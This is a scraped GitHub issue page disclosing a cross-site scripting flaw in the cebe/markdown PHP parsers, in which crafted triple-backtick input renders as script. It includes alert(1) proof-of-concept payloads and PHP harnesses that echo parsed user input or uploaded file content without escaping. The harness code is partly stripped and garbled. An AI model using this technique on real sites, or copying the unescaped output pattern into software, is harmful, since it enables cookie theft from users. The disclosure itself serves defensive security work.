cebe / cebe/markdown

Inconsistent behavior of multiple backticks

Open
#166 29 comments 0 reactions 0 assignees View on GitHub
bug
Dominant language
HTML
Stars
1k
Forks
137
PR merge metrics
No merged PRs in 30d

Description

# Issue

There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:

- `GithubMarkdown`
- `Markdown`
- `MarkdownExtra`

# How?

The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:

craftedpayloads

And here is an image of the payloads rendered:

![renderedpayloads](https://user-images.githubusercontent.com/14183473/49521304-c62f2380-f86a-11e8-9b33-f75444f8ba88.png)

As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a `.md` file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:

![runningthescript](https://user-images.githubusercontent.com/14183473/49522535-7e5dcb80-f86d-11e8-8d52-4949e820cc58.png)

# Impact

Doing a quick search on Github for the code that enables your parser: `new \cebe\markdown\`. I get this many results:

![parserenable](https://user-images.githubusercontent.com/14183473/49522130-8bc68600-f86c-11e8-96e7-3759fbc04e0c.png)

The vulnerability can be either stored using an `.md` file (`README` for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:

![cookiestealer](https://user-images.githubusercontent.com/14183473/49522987-6e92b700-f86e-11e8-87a8-61e4644198fd.png)

This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.

# Proof of Concept

### User input

You can use the following code for a PoC on user entered text:

```
alert(1);`
* this will output the script in a safe way.
*
* To make an alert do:
* L: ```alert(1);```
* this will display a rendered alert
* */
include 'vendor/autoload.php';

function parseData($data) {
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
return [
"

".$parserGithub->parse($data)."
",
"
".$parserMarkdown->parse($data)."
",
"
".$parserMarkdownExtra->parse($data)."
"
];
}

if (isset($_GET['poc'])) {
$parsed = parseData($_GET['poc']);
echo "
PoC

{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
";
} else {
echo "

PoC

Markdown:

";
}
```

### MD file

And you can use the following code for a PoC on text read from an MD file:

```
alert(1);`,
* or whatever script you decide to use
*
* In order to get the data rendered as javascript:
* L: ```alert();``` or whatever script you decide to render
* */
include 'vendor/autoload.php';

function renderFileContent($fname) {
return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
$tmpName = $_FILES['poc']['tmp_name'];
$contents = renderFileContent($tmpName);
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
$dataGithub = $parserGithub->parse($contents);
$dataMarkdown = $parserMarkdown->parse($contents);
$dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
$parsed = [
"

" . $parserGithub->parse($dataGithub) . "
",
"
" . $parserMarkdown->parse($dataMarkdown) . "
",
"
" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "
"
];
echo "

PoC

{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
";
} else {
echo "

PoC

Upload file:

";
}
```

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.